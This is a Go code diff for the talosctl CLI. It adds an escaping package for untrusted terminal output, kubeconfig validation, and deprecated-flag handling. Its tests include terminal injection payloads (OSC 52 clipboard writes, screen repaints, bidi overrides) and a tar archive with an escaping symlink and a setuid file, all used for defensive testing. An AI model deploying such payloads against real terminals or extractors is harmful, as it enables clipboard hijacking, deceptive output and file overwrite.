helpers_test + +import ( + "archive/tar" + "bytes" + "compress/gzip" + "io" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" +) + +// tarGz builds a .tar.gz from the given headers, with the body of each regular +// file entry taken from bodies by name. +func tarGz(t *testing.T, headers []*tar.Header, bodies map[string]string) io.ReadCloser { + t.Helper() + + var buf bytes.Buffer + + zw := gzip.NewWriter(&buf) + tw := tar.NewWriter(zw) + + for _, hdr := range headers { + body := bodies[hdr.Name] + hdr.Size = int64(len(body)) + + require.NoError(t, tw.WriteHeader(hdr)) + + if body != "" { + _, err := tw.Write([]byte(body)) + require.NoError(t, err) + } + } + + require.NoError(t, tw.Close()) + require.NoError(t, zw.Close()) + + return io.NopCloser(&buf) +} + +// TestExtractTarGzSymlinkEscape verifies symlink escape on extraction. +func TestExtractTarGzSymlinkEscape(t *testing.T) { + t.Parallel() + + for _, test := range []struct { + name string + linkname func(outside string) string + }{ + { + name: "absolute link target", + linkname: func(outside string) string { return outside }, + }, + { + name: "relative link target", + linkname: func(outside string) string { return "../outside" }, + }, + } { + t.Run(test.name, func(t *testing.T) { + t.Parallel() + + base := t.TempDir() + root := filepath.Join(base, "root") + outside := filepath.Join(base, "outside") + + require.NoError(t, os.Mkdir(root, 0o755)) + require.NoError(t, os.Mkdir(outside, 0o755)) + + headers := []*tar.Header{ + { + Name: "esc", + Linkname: test.linkname(outside), + Typeflag: tar.TypeSymlink, + Mode: 0o777, + }, + { + Name: "esc/PWNED", + Typeflag: tar.TypeReg, + Mode: 0o4755, + }, + } + + archive := tarGz(t, headers, map[string]string{"esc/PWNED": "payload"}) + + err := helpers.ExtractTarGz(root, archive) + + escaped := filepath.Join(outside, "PWNED") + + _, statErr := os.Lstat(escaped) + assert.True(t, os.IsNotExist(statErr), "a tar entry wrote outside the extraction root: %s (extract error: %v)", escaped, err) + + // and it fails loudly: reporting success while skipping the entry would + // leave the operator believing the copy completed. + assert.Error(t, err) + }) + } +} + +// TestExtractTarGzDropsSetuid verifies that setuid and setgid bits are dropped on extraction. +func TestExtractTarGzSetuid(t *testing.T) { + t.Parallel() + + root := t.TempDir() + + headers := []*tar.Header{{Name: "suid", Typeflag: tar.TypeReg, Mode: 0o4755}} + + archive := tarGz(t, headers, map[string]string{"suid": "payload"}) + + require.NoError(t, helpers.ExtractTarGz(root, archive)) + + info, err := os.Stat(filepath.Join(root, "suid")) + require.NoError(t, err) + + assert.Zero(t, info.Mode()&(os.ModeSetuid|os.ModeSetgid), "extracted file kept mode %s", info.Mode()) +} + +// TestExtractTarGzNormal: a well-formed archive still extracts. +func TestExtractTarGzNormal(t *testing.T) { + t.Parallel() + + root := t.TempDir() + + headers := []*tar.Header{ + {Name: "dir", Typeflag: tar.TypeDir, Mode: 0o755}, + {Name: "dir/file", Typeflag: tar.TypeReg, Mode: 0o644}, + {Name: "dir/link", Linkname: "file", Typeflag: tar.TypeSymlink, Mode: 0o777}, + } + + archive := tarGz(t, headers, map[string]string{"dir/file": "hello"}) + + require.NoError(t, helpers.ExtractTarGz(root, archive)) + + body, err := os.ReadFile(filepath.Join(root, "dir", "file")) + require.NoError(t, err) + assert.Equal(t, "hello", string(body)) + + target, err := os.Readlink(filepath.Join(root, "dir", "link")) + require.NoError(t, err) + assert.Equal(t, "file", target) + + body, err = os.ReadFile(filepath.Join(root, "dir", "link")) + require.NoError(t, err) + assert.Equal(t, "hello", string(body)) +} diff --git a/cmd/talosctl/pkg/talos/helpers/checks.go b/cmd/talosctl/pkg/talos/helpers/checks.go index 6dc87167902..f8f426d5ddd 100644 --- a/cmd/talosctl/pkg/talos/helpers/checks.go +++ b/cmd/talosctl/pkg/talos/helpers/checks.go @@ -8,12 +8,12 @@ import ( "context" "errors" "fmt" - "os" "strings" "github.com/blang/semver/v4" "github.com/siderolabs/gen/xerrors" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -105,7 +105,7 @@ func ClientVersionCheck(ctx context.Context, clientFactory ClientFactory) error } if warnings != nil { - fmt.Fprintf(os.Stderr, "WARNING: %s\n", strings.Join(warnings, ", ")) + fmt.Fprintf(safeout.Stderr(), "WARNING: %s\n", strings.Join(warnings, ", ")) } return errs diff --git a/cmd/talosctl/pkg/talos/helpers/confirm.go b/cmd/talosctl/pkg/talos/helpers/confirm.go index b1f7181785a..ea606af3f0d 100644 --- a/cmd/talosctl/pkg/talos/helpers/confirm.go +++ b/cmd/talosctl/pkg/talos/helpers/confirm.go @@ -7,6 +7,8 @@ package helpers import ( "fmt" "strings" + + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" ) var okays = []string{"y", "yes"} @@ -16,7 +18,7 @@ var okays = []string{"y", "yes"} func Confirm(prompt string) bool { var inp string - fmt.Printf("%s (y/N): ", prompt) + safeout.Printf("%s (y/N): ", prompt) fmt.Scanf("%s", &inp) //nolint:errcheck inp = strings.TrimSpace(inp) diff --git a/cmd/talosctl/pkg/talos/helpers/deprecated.go b/cmd/talosctl/pkg/talos/helpers/deprecated.go new file mode 100644 index 00000000000..8ba7077e1c1 --- /dev/null +++ b/cmd/talosctl/pkg/talos/helpers/deprecated.go @@ -0,0 +1,80 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package helpers + +import ( + "fmt" + "io" + + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" +) + +type deprecatedFlag struct { + flag *pflag.Flag + message string +} + +// deprecatedFlags is filled in by [MarkFlagDeprecated] from the init functions registering the flags. +var deprecatedFlags []deprecatedFlag + +func init() { + // cobra runs the initializers once the command line is parsed and before the command itself + // runs, so the warning comes out ahead of the command output. + cobra.OnInitialize(func() { warnOnDeprecatedFlags(safeout.Stderr()) }) +} + +// MarkFlagDeprecated marks the named flag as deprecated: it is hidden from the help output, and +// using it prints a warning. +// +// It replaces pflag's own MarkDeprecated, which leaves the warning for cobra to print via +// cmd.Print, i.e. to the command's output stream. That stream is stdout for talosctl (the help +// output goes there), so the warning would land in the middle of the command output instead of +// on stderr. +func MarkFlagDeprecated(flags *pflag.FlagSet, name, message string) error { + flag := flags.Lookup(name) + if flag == nil { + return fmt.Errorf("flag %q does not exist", name) + } + + if message == "" { + return fmt.Errorf("deprecation message for flag %q must be set", name) + } + + flag.Hidden = true + + deprecatedFlags = append(deprecatedFlags, deprecatedFlag{flag: flag, message: message}) + + return nil +} + +// warnOnDeprecatedFlags prints a warning for every deprecated flag used on the command line. +// +// The wording matches pflag's own, as it is the message talosctl printed before the warnings were +// taken over here. +func warnOnDeprecatedFlags(w io.Writer) { + for _, deprecated := range deprecatedFlags { + if deprecated.flag.Changed { + fmt.Fprintf(w, "Flag --%s has been deprecated, %s\n", deprecated.flag.Name, deprecated.message) //nolint:errcheck + } + } +} + +// DeprecationMessage returns the message registered for the flag by [MarkFlagDeprecated], or an +// empty string if the flag is not deprecated. +// +// It stands in for pflag's own Flag.Deprecated field, which is left unset so that pflag does not +// print the warning itself. +func DeprecationMessage(flag *pflag.Flag) string { + for _, deprecated := range deprecatedFlags { + if deprecated.flag == flag { + return deprecated.message + } + } + + return "" +} diff --git a/cmd/talosctl/pkg/talos/helpers/deprecated_internal_test.go b/cmd/talosctl/pkg/talos/helpers/deprecated_internal_test.go new file mode 100644 index 00000000000..65e75adfef5 --- /dev/null +++ b/cmd/talosctl/pkg/talos/helpers/deprecated_internal_test.go @@ -0,0 +1,58 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package helpers + +import ( + "bytes" + "testing" + + "github.com/spf13/cobra" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +// TestMarkFlagDeprecated asserts that the warning about a deprecated flag stays off the command +// output stream: cobra prints its own flag deprecation warnings there, and for talosctl that +// stream is stdout, where they would be mixed into the output of the command. +func TestMarkFlagDeprecated(t *testing.T) { + registered := len(deprecatedFlags) + + t.Cleanup(func() { deprecatedFlags = deprecatedFlags[:registered] }) + + var out, stderr bytes.Buffer + + cmd := &cobra.Command{Use: "test", Run: func(*cobra.Command, []string) {}} + cmd.SetOut(&out) + cmd.SetErr(&out) + cmd.Flags().BoolP("kubernetes", "k", false, "use the k8s.io containerd namespace") + + require.NoError(t, MarkFlagDeprecated(cmd.Flags(), "kubernetes", "use --namespace cri instead")) + + assert.True(t, cmd.Flags().Lookup("kubernetes").Hidden) + + warnOnDeprecatedFlags(&stderr) + assert.Empty(t, stderr.String(), "the flag was not used") + + cmd.SetArgs([]string{"-k"}) + require.NoError(t, cmd.Execute()) + + assert.Empty(t, out.String(), "cobra should not print the warning itself") + + warnOnDeprecatedFlags(&stderr) + assert.Equal(t, "Flag --kubernetes has been deprecated, use --namespace cri instead\n", stderr.String()) +} + +func TestMarkFlagDeprecatedErrors(t *testing.T) { + registered := len(deprecatedFlags) + + t.Cleanup(func() { deprecatedFlags = deprecatedFlags[:registered] }) + + flags := &cobra.Command{Use: "test"} + + flags.Flags().Bool("flag", false, "") + + assert.Error(t, MarkFlagDeprecated(flags.Flags(), "missing", "gone")) + assert.Error(t, MarkFlagDeprecated(flags.Flags(), "flag", "")) +} diff --git a/cmd/talosctl/pkg/talos/helpers/error.go b/cmd/talosctl/pkg/talos/helpers/error.go index d4714d433ed..3400638cc9c 100644 --- a/cmd/talosctl/pkg/talos/helpers/error.go +++ b/cmd/talosctl/pkg/talos/helpers/error.go @@ -8,7 +8,6 @@ import ( "fmt" "strings" - "github.com/fatih/color" "github.com/gertd/go-pluralize" "github.com/hashicorp/go-multierror" ) @@ -26,7 +25,11 @@ func AppendErrors(err error, errs ...error) error { count := pluralize.NewClient().Pluralize("error", len(lines), true) - return color.RedString(fmt.Sprintf("%s occurred:\n%s", count, strings.Join(lines, "\n"))) + // plain text: the aggregated message is mostly chosen by the node, so it is + // escaped before it reaches the terminal, and an escape sequence in it would + // be escaped along with everything else. Whoever prints the error colorizes + // it - see cmd.Execute. + return fmt.Sprintf("%s occurred:\n%s", count, strings.Join(lines, "\n")) } return res diff --git a/cmd/talosctl/pkg/talos/helpers/error_test.go b/cmd/talosctl/pkg/talos/helpers/error_test.go new file mode 100644 index 00000000000..c2cd9ff204d --- /dev/null +++ b/cmd/talosctl/pkg/talos/helpers/error_test.go @@ -0,0 +1,29 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package helpers_test + +import ( + "errors" + "testing" + + "github.com/fatih/color" + "github.com/stretchr/testify/assert" + + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" +) + +// TestAppendErrorsIsPlainText guards the aggregated message against carrying +// terminal styling: it is escaped before it is printed, so a color escape in it +// would reach the operator as literal text instead of a color. +func TestAppendErrorsIsPlainText(t *testing.T) { + colorized := color.NoColor + color.NoColor = false + + t.Cleanup(func() { color.NoColor = colorized }) + + err := helpers.AppendErrors(nil, errors.New("node said boom"), errors.New("and again")) + + assert.Equal(t, "2 errors occurred:\n node said boom\n and again", err.Error()) +} diff --git a/cmd/talosctl/pkg/talos/helpers/mode.go b/cmd/talosctl/pkg/talos/helpers/mode.go index 02d53c492ea..5f735d82a17 100644 --- a/cmd/talosctl/pkg/talos/helpers/mode.go +++ b/cmd/talosctl/pkg/talos/helpers/mode.go @@ -6,14 +6,13 @@ package helpers import ( "fmt" - "os" "slices" "strings" "github.com/siderolabs/gen/maps" "github.com/spf13/cobra" - "github.com/siderolabs/talos/pkg/cli" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/machinery/api/machine" ) @@ -84,11 +83,11 @@ func AddModeFlags(mode *Mode, command *cobra.Command) { func PrintApplyResults(resp *machine.ApplyConfigurationResponse) { for _, m := range resp.GetMessages() { for _, w := range m.GetWarnings() { - cli.Warning("%s", w) + safeout.Warningf("%s", w) } if m.ModeDetails != "" { - fmt.Fprintln(os.Stderr, m.ModeDetails) + fmt.Fprintln(safeout.Stderr(), m.ModeDetails) } } } diff --git a/cmd/talosctl/pkg/talos/kubeclient/kubeclient.go b/cmd/talosctl/pkg/talos/kubeclient/kubeclient.go index 507f9a16faf..c4ec5b02d23 100644 --- a/cmd/talosctl/pkg/talos/kubeclient/kubeclient.go +++ b/cmd/talosctl/pkg/talos/kubeclient/kubeclient.go @@ -13,6 +13,7 @@ import ( "k8s.io/client-go/kubernetes" "k8s.io/client-go/tools/clientcmd" + "github.com/siderolabs/talos/pkg/kubeconfig" "github.com/siderolabs/talos/pkg/machinery/client" ) @@ -24,6 +25,12 @@ func FromTalosClient(ctx context.Context, c *client.Client) (kubernetes.Interfac return nil, fmt.Errorf("error fetching kubeconfig from Talos API: %w", err) } + // the kubeconfig comes from the node, so it is untrusted input: make sure it is + // a plain kubeconfig as generated by Talos before handing it over to client-go. + if _, err = kubeconfig.LoadAndValidate(kubeconfigBytes); err != nil { + return nil, err + } + config, err := clientcmd.NewClientConfigFromBytes(kubeconfigBytes) if err != nil { return nil, fmt.Errorf("error parsing kubeconfig: %w", err) diff --git a/cmd/talosctl/pkg/talos/safeout/safeout.go b/cmd/talosctl/pkg/talos/safeout/safeout.go new file mode 100644 index 00000000000..f3aacba5831 --- /dev/null +++ b/cmd/talosctl/pkg/talos/safeout/safeout.go @@ -0,0 +1,385 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +// Package safeout renders untrusted text safely to a terminal. +// +// Everything talosctl prints about a node - log lines, resource fields, service +// states, hostnames, error messages - is chosen by that node. A compromised node +// can therefore put terminal control sequences into any of it, and a terminal +// acts on them: OSC 52 writes the operator's clipboard, a bare CR overwrites the +// line prefix talosctl printed itself, CSI sequences repaint the screen, and +// bidirectional overrides reorder what the operator reads. The node is the +// attacker, the operator's terminal emulator is the vulnerable interpreter, and +// the only place the two can be separated is here, on the client, at the point +// where talosctl renders. +// +// The filter is the identity transformation on printable UTF-8: well-behaved +// output passes through byte for byte, so piping talosctl into jq, grep or a +// file keeps working and only malicious or malformed content is rewritten. That +// property is what makes it safe to filter unconditionally rather than only when +// stdout is a terminal - node logs are routinely redirected to a file or captured +// by CI and rendered on a terminal much later, which is precisely when a +// terminal-detection check would have already waved the payload through. +// +// The filter deliberately does not escape a literal backslash, so an escape it +// emits is indistinguishable from that same text appearing literally in the +// source data. Preserving the identity property is worth more than that +// ambiguity: neither form can drive a terminal. +// +// Escaping is not the right answer for every kind of output, and this package is +// not meant for all of it: +// +// - Structured output (-o json, -o yaml) is already safe, because the encoders +// escape control characters themselves. Do not filter it again. +// - Byte streams that are not text at all (talosctl read, pcap, copy, support +// bundles) must reach their destination unmodified. Protect those by refusing +// to write raw bytes to a terminal, not by escaping them. +// - Escape sequences talosctl emits itself - colors, spinners, the dashboard - +// must be written outside this filter, otherwise talosctl escapes its own +// styling. Filter the untrusted field with [String] before interpolating it +// into a line that is styled later. +package safeout + +import ( + "fmt" + "io" + "os" + "slices" + "strconv" + "strings" + "sync" + "unicode" + "unicode/utf8" +) + +// RawOutputEnvVar disables filtering of the stdout and stderr streams when set +// to a true value, for an operator who needs the original bytes from a node +// (a service which legitimately colorizes its own log output, say). +// +// It does not disable [String] and [Cell]: a field interpolated into a line +// talosctl formats and colorizes itself is escaped either way, as leaving that +// one field raw is the injection this package exists to prevent. +const RawOutputEnvVar = "TALOSCTL_RAW_OUTPUT" + +// rawOutput reports whether the stdout and stderr streams should pass through +// unfiltered. +var rawOutput = sync.OnceValue(func() bool { + raw, err := strconv.ParseBool(os.Getenv(RawOutputEnvVar)) + + return err == nil && raw +}) + +// allowed reports whether r may reach a terminal as itself. +// +// unicode.IsPrint is false for exactly the runes which are dangerous or invisible +// here: the C0 controls including ESC, BEL, CR and DEL, the C1 controls including +// the single-byte CSI U+009B, the bidirectional overrides and isolates +// U+202A-U+202E and U+2066-U+2069, the zero-width formatting characters, the byte +// order mark, and the line and paragraph separators U+2028 and U+2029. +// +// Explicitly allow `\n` and `\t` as they are used in table formatting. +func allowed(r rune) bool { + switch r { + case '\n', '\t': + return true + default: + return unicode.IsPrint(r) + } +} + +const hexDigits = "0123456789abcdef" + +// appendEscapedByte appends a byte which is not part of a valid UTF-8 sequence. +func appendEscapedByte(dst []byte, b byte) []byte { + return append(dst, '\\', 'x', hexDigits[b>>4], hexDigits[b&0xf]) +} + +// appendEscapedRune appends the visible representation of a disallowed rune. +// +// The escapes are uniform rather than using the short Go forms such as \r, so +// that everything this package rewrites can be found with a single search for +// \x or \u, and so that no rewritten rune can be mistaken for one which was +// allowed through. +func appendEscapedRune(dst []byte, r rune) []byte { + switch { + case r < 0x100: + return appendEscapedByte(dst, byte(r)) + case r < 0x10000: + dst = append(dst, '\\', 'u') + + for shift := 12; shift >= 0; shift -= 4 { + dst = append(dst, hexDigits[(r>>shift)&0xf]) + } + + return dst + default: + dst = append(dst, '\\', 'U') + + for shift := 28; shift >= 0; shift -= 4 { + dst = append(dst, hexDigits[(r>>shift)&0xf]) + } + + return dst + } +} + +// escape appends the filtered form of src to dst. +// +// It returns the number of trailing bytes of src which were not consumed because +// they are the start of a UTF-8 sequence which src is too short to complete. A +// streaming caller holds those back for the next chunk; a caller with the whole +// string in hand escapes them as individual bytes. +func escape(dst, src []byte, allowed func(rune) bool) ([]byte, int) { + for len(src) > 0 { + r, size := utf8.DecodeRune(src) + + // DecodeRune reports (RuneError, 1) both for a byte which can never be part + // of a valid sequence and for a valid prefix which is cut short; a genuine + // U+FFFD in the input decodes with size 3 and is not confused with either. + if r == utf8.RuneError && size <= 1 { + if !utf8.FullRune(src) { + return dst, len(src) + } + + dst = appendEscapedByte(dst, src[0]) + src = src[1:] + + continue + } + + if allowed(r) { + dst = append(dst, src[:size]...) + } else { + dst = appendEscapedRune(dst, r) + } + + src = src[size:] + } + + return dst, 0 +} + +// Writer filters everything written through it before passing it on. +// +// It is safe for concurrent use, and it is stream oriented: log output arrives +// from the API in arbitrary chunks, so a multi-byte rune split across two Write +// calls is held back until the following call completes it rather than being +// mangled into escapes. [Writer.Flush] releases such a remainder when no further +// call is coming. +type Writer struct { + w io.Writer + + mu sync.Mutex + // pending holds an incomplete trailing UTF-8 sequence, at most utf8.UTFMax-1 bytes. + pending []byte + joined []byte + out []byte + + raw bool +} + +// NewWriter returns a Writer filtering everything written to w. +func NewWriter(w io.Writer) *Writer { + return &Writer{w: w} +} + +// Write implements io.Writer. +func (w *Writer) Write(p []byte) (int, error) { + if w.raw { + return w.w.Write(p) + } + + w.mu.Lock() + defer w.mu.Unlock() + + src := p + + if len(w.pending) > 0 { + w.joined = append(append(w.joined[:0], w.pending...), p...) + src = w.joined + w.pending = w.pending[:0] + } + + out, held := escape(w.out[:0], src, allowed) + w.out = out + w.pending = append(w.pending[:0], src[len(src)-held:]...) + + if _, err := w.w.Write(out); err != nil { + return 0, err + } + + // report the caller's length: the filtered form has a different one, and a + // short write would make fmt and io.Copy believe the write failed. + return len(p), nil +} + +// Flush escapes and writes out an incomplete UTF-8 sequence held back by the +// last Write. It must be called before the process exits, or a truncated +// trailing rune is silently dropped. +func (w *Writer) Flush() error { + if w.raw { + return nil + } + + w.mu.Lock() + defer w.mu.Unlock() + + if len(w.pending) == 0 { + return nil + } + + out := w.out[:0] + + for _, b := range w.pending { + out = appendEscapedByte(out, b) + } + + w.pending = w.pending[:0] + w.out = out + + _, err := w.w.Write(out) + + return err +} + +var ( + stdout = sync.OnceValue(func() *Writer { return &Writer{w: os.Stdout, raw: rawOutput()} }) + stderr = sync.OnceValue(func() *Writer { return &Writer{w: os.Stderr, raw: rawOutput()} }) +) + +// Stdout returns the filtered standard output stream. +// +// Anything rendering node-supplied text for a human writes here instead of to +// os.Stdout, including as the writer underneath a tabwriter. +func Stdout() io.Writer { return stdout() } + +// Stderr returns the filtered standard error stream. +func Stderr() io.Writer { return stderr() } + +// Fprintf is fmt.Fprintf with every string and error argument escaped as a table +// cell by [Cell]. +// +// Use it for a row handed to a tabwriter. The format string stays untouched +// because it is talosctl's own literal, so the tabs which separate the columns +// keep their meaning; the values interpolated into it come from the node, and a +// tab in one of those is read by the tabwriter as a column separator before any +// writer underneath it can see the byte. +func Fprintf(w io.Writer, format string, a ...any) (int, error) { + escaped := a + + for i, v := range a { + var cell string + + switch v := v.(type) { + case string: + cell = Cell(v) + case error: + // fmt renders an error whose Error method panics on a nil receiver as + // , so the rendering goes through fmt here too rather than calling + // the method directly. + cell = Cell(fmt.Sprint(v)) + default: + continue + } + + // copy on first write: a caller passing a slice with `args...` keeps + // ownership of it. + if &escaped[0] == &a[0] { + escaped = slices.Clone(a) + } + + escaped[i] = cell + } + + return fmt.Fprintf(w, format, escaped...) +} + +// Print is fmt.Print against the filtered standard output stream. +func Print(a ...any) (int, error) { return fmt.Fprint(Stdout(), a...) } + +// Printf is fmt.Printf against the filtered standard output stream. +func Printf(format string, a ...any) (int, error) { return fmt.Fprintf(Stdout(), format, a...) } + +// Println is fmt.Println against the filtered standard output stream. +func Println(a ...any) (int, error) { return fmt.Fprintln(Stdout(), a...) } + +// Warningf prints a warning to the filtered standard error stream, escaping every +// string and error argument as a table cell by [Cell]. +// +// It replaces cli.Warning for the commands which talk to a node: a warning is a +// single line prefixed with WARNING:, and its text is usually chosen by the node +// - a config validation warning, a partially failed request - so a newline in it +// would let the node write a line of its own without that prefix. +func Warningf(format string, a ...any) { + if !strings.HasSuffix(format, "\n") { + format += "\n" + } + + Fprintf(Stderr(), "WARNING: "+format, a...) //nolint:errcheck +} + +// Flush releases any partial rune held by the shared streams. +func Flush() error { + if err := stdout().Flush(); err != nil { + return err + } + + return stderr().Flush() +} + +// String returns s with anything a terminal would act on replaced by a visible +// escape, preserving newlines and tabs. +// +// Use it for an untrusted field which is interpolated into a line that something +// other than [Stdout] renders - a reporter message, a colorized status line - so +// that talosctl's own escape sequences survive while the node's do not. +func String(s string) string { + return escapeString(s, allowed) +} + +// Cell returns s escaped for a single field of a table or a one-line summary, +// additionally escaping newlines and tabs. +// +// A tab in a value handed to a tabwriter is read as a column separator and a +// newline ends the row, so a node choosing either one silently rewrites the shape +// of the table around it. +func Cell(s string) string { + return escapeString(s, unicode.IsPrint) +} + +func escapeString(s string, allowed func(rune) bool) string { + // ranging over a string yields utf8.RuneError for a byte which is not part of + // a valid sequence, so this catches malformed input as well as disallowed + // runes. A genuine U+FFFD sends a well-formed string down the slow path, where + // it is allowed through unchanged. + clean := true + + for _, r := range s { + if r == utf8.RuneError || !allowed(r) { + clean = false + + break + } + } + + if clean { + return s + } + + src := []byte(s) + + out, held := escape(make([]byte, 0, len(s)+escapeGrowth), src, allowed) + + // nothing further is coming, so a truncated trailing sequence is escaped + // rather than held back for a chunk which will never arrive. + for _, b := range src[len(src)-held:] { + out = appendEscapedByte(out, b) + } + + return string(out) +} + +// escapeGrowth is the slack left in the escaped buffer, enough for a couple of +// escapes before it has to grow. +const escapeGrowth = 16 diff --git a/cmd/talosctl/pkg/talos/safeout/safeout_test.go b/cmd/talosctl/pkg/talos/safeout/safeout_test.go new file mode 100644 index 00000000000..8c14c7944e5 --- /dev/null +++ b/cmd/talosctl/pkg/talos/safeout/safeout_test.go @@ -0,0 +1,311 @@ +// This Source Code Form is subject to the terms of the Mozilla Public +// License, v. 2.0. If a copy of the MPL was not distributed with this +// file, You can obtain one at http://mozilla.org/MPL/2.0/. + +package safeout_test + +import ( + "bytes" + "errors" + "strings" + "testing" + "unicode" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" +) + +// payloads that can put into any string talosctl renders. +var payloads = map[string]struct { + in string + expected string +}{ + "OSC 0 window title": { + in: "\x1b]0;F3-OSC-TITLE-INJECTED\x07", + expected: `\x1b]0;F3-OSC-TITLE-INJECTED\x07`, + }, + "OSC 52 clipboard write": { + in: "\x1b]52;c;RjMtQ0xJUEJPQVJELUhJSkFDSw==\x07", + expected: `\x1b]52;c;RjMtQ0xJUEJPQVJELUhJSkFDSw==\x07`, + }, + "CSI screen repaint": { + in: "\x1b[2J\x1b[HF3-SCREEN-REPAINTED-BY-NODE", + expected: `\x1b[2J\x1b[HF3-SCREEN-REPAINTED-BY-NODE`, + }, + "bare CR overwriting the line prefix": { + in: "junk\rF3-LINE-PREFIX-OVERWRITTEN", + expected: `junk\x0dF3-LINE-PREFIX-OVERWRITTEN`, + }, + "SGR color in a hostname": { + in: "\x1b[1;31mF3-HOSTNAME-IS-A-SINK\x1b[0m", + expected: `\x1b[1;31mF3-HOSTNAME-IS-A-SINK\x1b[0m`, + }, + // U+009B is a single byte CSI on a terminal which decodes C1, and arrives as + // a two byte UTF-8 sequence rather than as ESC. + "C1 single byte CSI": { + in: "before\u009b2Jcsi", + expected: `before\x9b2Jcsi`, + }, + "bidirectional override": { + in: "safe\u202eesrever\u202c", + expected: `safe\u202eesrever\u202c`, + }, + "bidirectional isolate": { + in: "a\u2066b\u2069c", + expected: `a\u2066b\u2069c`, + }, + "zero width space": { + in: "ad\u200bmin", + expected: `ad\u200bmin`, + }, + "byte order mark": { + in: "\ufeffvalue", + expected: `\ufeffvalue`, + }, + "line and paragraph separators": { + in: "a\u2028b\u2029c", + expected: `a\u2028b\u2029c`, + }, + "DEL and backspace": { + in: "pass\x7fword\x08\x08", + expected: `pass\x7fword\x08\x08`, + }, + "BEL": { + in: "beep\a", + expected: `beep\x07`, + }, + "vertical tab and form feed": { + in: "a\vb\fc", + expected: `a\x0bb\x0cc`, + }, + "NUL": { + in: "a\x00b", + expected: `a\x00b`, + }, + "invalid UTF-8": { + in: "bad\xffbyte\xc3", + expected: `bad\xffbyte\xc3`, + }, + "surrogate half encoded as UTF-8": { + in: "a\xed\xa0\x80b", + expected: `a\xed\xa0\x80b`, + }, + "unassigned plane 15 code point": { + in: "a\U000f0000b", + expected: `a\U000f0000b`, + }, +} + +// content which must survive untouched: the filter is the identity +// transformation on printable UTF-8. +var passthrough = []string{ + "", + "kubelet: starting", + "[ 12.345678] kernel: nvme nvme0: pci function", + `{"ts":1234,"msg":"hello","level":"info"}`, + "column\tseparated\tvalues\n", + "multi\nline\noutput\n", + "ünïcode ÿ ß 日本語 emoji \U0001f389 combining é", //nolint:gosmopolitan // intentionally testing non-ASCII UTF-8 + `path/with\backslash and \x1b written literally`, + "replacement \ufffd character", +} + +func TestStringEscapes(t *testing.T) { + t.Parallel() + + for name, tc := range payloads { + t.Run(name, func(t *testing.T) { + t.Parallel() + + assert.Equal(t, tc.expected, safeout.String(tc.in)) + }) + } +} + +func TestStringPassthrough(t *testing.T) { + t.Parallel() + + for _, in := range passthrough { + assert.Equal(t, in, safeout.String(in), "printable UTF-8 must pass through unchanged") + } +} + +func TestWriterMatchesString(t *testing.T) { + t.Parallel() + + for name, tc := range payloads { + t.Run(name, func(t *testing.T) { + t.Parallel() + + var buf bytes.Buffer + + w := safeout.NewWriter(&buf) + + n, err := w.Write([]byte(tc.in)) + require.NoError(t, err) + // a filtering writer changes the byte count, but must report the caller's + // length or fmt and io.Copy treat the write as short and failed. + assert.Equal(t, len(tc.in), n) + + require.NoError(t, w.Flush()) + + assert.Equal(t, tc.expected, buf.String()) + }) + } +} + +func TestWriterPassthrough(t *testing.T) { + t.Parallel() + + for _, in := range passthrough { + var buf bytes.Buffer + + w := safeout.NewWriter(&buf) + + _, err := w.Write([]byte(in)) + require.NoError(t, err) + require.NoError(t, w.Flush()) + + assert.Equal(t, in, buf.String()) + } +} + +// TestWriterSplitRune covers the case a stream filter gets wrong: node output +// arrives in arbitrary chunks, so a multi-byte rune is routinely cut in half by +// the transport. Every split of every input must produce the same bytes as +// writing it in one go. +func TestWriterSplitRune(t *testing.T) { + t.Parallel() + + inputs := append([]string{}, passthrough...) + + for _, tc := range payloads { + inputs = append(inputs, tc.in) + } + + for _, in := range inputs { + for split := range len(in) + 1 { + var buf bytes.Buffer + + w := safeout.NewWriter(&buf) + + _, err := w.Write([]byte(in[:split])) + require.NoError(t, err) + + _, err = w.Write([]byte(in[split:])) + require.NoError(t, err) + + require.NoError(t, w.Flush()) + + assert.Equal(t, safeout.String(in), buf.String(), "input %q split at %d", in, split) + } + } +} + +// TestWriterByteAtATime is the degenerate case of the above: every rune split at +// every boundary at once. +func TestWriterByteAtATime(t *testing.T) { + t.Parallel() + + for _, in := range passthrough { + var buf bytes.Buffer + + w := safeout.NewWriter(&buf) + + for i := range len(in) { + _, err := w.Write([]byte(in[i : i+1])) + require.NoError(t, err) + } + + require.NoError(t, w.Flush()) + + assert.Equal(t, in, buf.String()) + } +} + +// TestFlushReleasesTruncatedRune: a stream ending mid-rune must still render the +// bytes it did receive, rather than dropping them. +func TestFlushReleasesTruncatedRune(t *testing.T) { + t.Parallel() + + var buf bytes.Buffer + + w := safeout.NewWriter(&buf) + + _, err := w.Write([]byte("ok\xe6\x97")) + require.NoError(t, err) + + assert.Equal(t, "ok", buf.String(), "an incomplete rune is held back, not guessed at") + + require.NoError(t, w.Flush()) + + assert.Equal(t, `ok\xe6\x97`, buf.String()) +} + +func TestCellEscapesTabAndNewline(t *testing.T) { + t.Parallel() + + // a tab is a column separator to tabwriter 